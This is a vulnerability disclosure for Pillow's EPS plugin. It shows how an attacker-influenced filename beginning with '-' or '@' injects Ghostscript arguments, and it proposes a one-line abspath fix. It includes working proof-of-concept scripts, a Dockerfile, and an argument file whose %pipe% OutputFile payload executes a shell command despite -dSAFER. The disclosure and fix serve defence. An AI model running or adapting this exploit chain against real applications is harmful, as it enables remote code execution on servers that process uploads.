Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

Affected

• Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
• Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @HLe4s